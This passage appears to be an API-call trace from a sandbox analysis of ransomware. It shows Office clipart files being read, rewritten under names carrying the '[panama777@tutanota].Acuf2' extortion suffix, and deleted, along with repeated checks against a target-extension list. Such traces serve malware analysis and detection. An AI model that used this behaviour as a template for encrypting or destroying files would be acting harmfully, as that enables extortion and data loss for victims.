	[0260.042] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.042] GetLastError () returned 0x0
	[0260.042] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1e94, lpOverlapped=0x0) returned 1
	[0260.043] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1ea0, lpOverlapped=0x0) returned 1
	[0260.044] ReadFile (in: hFile=0x33c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.044] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.044] SetEndOfFile (hFile=0x350) returned 1
	[0260.044] CloseHandle (hObject=0x350) returned 1
	[0260.044] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.044] SetEndOfFile (hFile=0x33c) returned 1
	[0260.046] CloseHandle (hObject=0x33c) returned 1
	[0260.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1
	[0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.047] lstrlenW (lpString=".doc") returned 4
	[0260.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.047] lstrlenW (lpString=".docx") returned 5
	[0260.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.047] lstrlenW (lpString=".pdf") returned 4
	[0260.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.047] lstrlenW (lpString=".xls") returned 4
	[0260.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.047] lstrlenW (lpString=".xlsx") returned 5
	[0260.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.047] lstrlenW (lpString=".ppt") returned 4
	[0260.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.047] lstrlenW (lpString=".zip") returned 4
	[0260.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.047] lstrlenW (lpString=".rar") returned 4
	[0260.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.047] lstrlenW (lpString=".bz2") returned 4
	[0260.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.047] lstrlenW (lpString=".7z") returned 3
	[0260.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString=".dbf") returned 4
	[0260.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString=".1cd") returned 4
	[0260.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString=".jpg") returned 4
	[0260.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString=".doc") returned 4
	[0260.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString=".docx") returned 5
	[0260.048] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.048] lstrlenW (lpString=".pdf") returned 4
	[0260.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString=".xls") returned 4
	[0260.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.048] lstrlenW (lpString=".xlsx") returned 5
	[0260.048] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.048] lstrlenW (lpString=".ppt") returned 4
	[0260.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.048] lstrlenW (lpString=".zip") returned 4
	[0260.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.048] lstrlenW (lpString=".rar") returned 4
	[0260.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString=".bz2") returned 4
	[0260.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.048] lstrlenW (lpString=".7z") returned 3
	[0260.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.049] lstrlenW (lpString=".dbf") returned 4
	[0260.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.049] lstrlenW (lpString=".1cd") returned 4
	[0260.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63
	[0260.049] lstrlenW (lpString=".jpg") returned 4
	[0260.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.049] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.049] lstrlenW (lpString="DD00413_.WMF") returned 12
	[0260.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0260.375] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=42992) returned 1
	[0260.375] CloseHandle (hObject=0x364) returned 1
	[0260.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20
	[0260.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.612] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.612] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.613] GetLastError () returned 0x0
	[0260.613] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xa7f0, lpOverlapped=0x0) returned 1
	[0260.616] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xa800, lpOverlapped=0x0) returned 1
	[0260.617] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.617] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.617] SetEndOfFile (hFile=0x330) returned 1
	[0260.617] CloseHandle (hObject=0x330) returned 1
	[0260.617] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.617] SetEndOfFile (hFile=0x334) returned 1
	[0260.620] CloseHandle (hObject=0x334) returned 1
	[0260.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1
	[0260.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.621] lstrlenW (lpString=".doc") returned 4
	[0260.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.621] lstrlenW (lpString=".docx") returned 5
	[0260.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.621] lstrlenW (lpString=".pdf") returned 4
	[0260.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.621] lstrlenW (lpString=".xls") returned 4
	[0260.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.621] lstrlenW (lpString=".xlsx") returned 5
	[0260.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.621] lstrlenW (lpString=".ppt") returned 4
	[0260.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString=".zip") returned 4
	[0260.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.622] lstrlenW (lpString=".rar") returned 4
	[0260.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString=".bz2") returned 4
	[0260.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString=".7z") returned 3
	[0260.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString=".dbf") returned 4
	[0260.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString=".1cd") returned 4
	[0260.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString=".jpg") returned 4
	[0260.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.622] lstrlenW (lpString=".doc") returned 4
	[0260.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString=".docx") returned 5
	[0260.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.622] lstrlenW (lpString=".pdf") returned 4
	[0260.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.622] lstrlenW (lpString=".xls") returned 4
	[0260.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.622] lstrlenW (lpString=".xlsx") returned 5
	[0260.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.622] lstrlenW (lpString=".ppt") returned 4
	[0260.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.623] lstrlenW (lpString=".zip") returned 4
	[0260.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.623] lstrlenW (lpString=".rar") returned 4
	[0260.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.623] lstrlenW (lpString=".bz2") returned 4
	[0260.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.623] lstrlenW (lpString=".7z") returned 3
	[0260.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.623] lstrlenW (lpString=".dbf") returned 4
	[0260.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.623] lstrlenW (lpString=".1cd") returned 4
	[0260.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63
	[0260.623] lstrlenW (lpString=".jpg") returned 4
	[0260.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.623] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.623] lstrlenW (lpString="DD00419_.WMF") returned 12
	[0260.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.624] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=712) returned 1
	[0260.624] CloseHandle (hObject=0x334) returned 1
	[0260.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20
	[0260.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.624] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.624] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0260.624] GetLastError () returned 0x0
	[0260.624] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x2c8, lpOverlapped=0x0) returned 1
	[0260.625] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x2d0, lpOverlapped=0x0) returned 1
	[0260.626] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.626] WriteFile (in: hFile=0x330, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.626] SetEndOfFile (hFile=0x330) returned 1
	[0260.626] CloseHandle (hObject=0x330) returned 1
	[0260.626] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.626] SetEndOfFile (hFile=0x334) returned 1
	[0260.629] CloseHandle (hObject=0x334) returned 1
	[0260.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1
	[0260.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.629] lstrlenW (lpString=".doc") returned 4
	[0260.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.629] lstrlenW (lpString=".docx") returned 5
	[0260.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.629] lstrlenW (lpString=".pdf") returned 4
	[0260.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.629] lstrlenW (lpString=".xls") returned 4
	[0260.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.629] lstrlenW (lpString=".xlsx") returned 5
	[0260.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.629] lstrlenW (lpString=".ppt") returned 4
	[0260.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString=".zip") returned 4
	[0260.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.630] lstrlenW (lpString=".rar") returned 4
	[0260.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString=".bz2") returned 4
	[0260.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString=".7z") returned 3
	[0260.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString=".dbf") returned 4
	[0260.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString=".1cd") returned 4
	[0260.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString=".jpg") returned 4
	[0260.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.630] lstrlenW (lpString=".doc") returned 4
	[0260.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString=".docx") returned 5
	[0260.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.630] lstrlenW (lpString=".pdf") returned 4
	[0260.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.630] lstrlenW (lpString=".xls") returned 4
	[0260.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.630] lstrlenW (lpString=".xlsx") returned 5
	[0260.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.631] lstrlenW (lpString=".ppt") returned 4
	[0260.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.631] lstrlenW (lpString=".zip") returned 4
	[0260.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.631] lstrlenW (lpString=".rar") returned 4
	[0260.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.631] lstrlenW (lpString=".bz2") returned 4
	[0260.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.631] lstrlenW (lpString=".7z") returned 3
	[0260.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.631] lstrlenW (lpString=".dbf") returned 4
	[0260.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.631] lstrlenW (lpString=".1cd") returned 4
	[0260.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63
	[0260.631] lstrlenW (lpString=".jpg") returned 4
	[0260.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.631] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.631] lstrlenW (lpString="DD00437_.WMF") returned 12
	[0260.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.632] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1932) returned 1
	[0260.632] CloseHandle (hObject=0x334) returned 1
	[0260.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20
	[0260.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0260.632] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.632] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
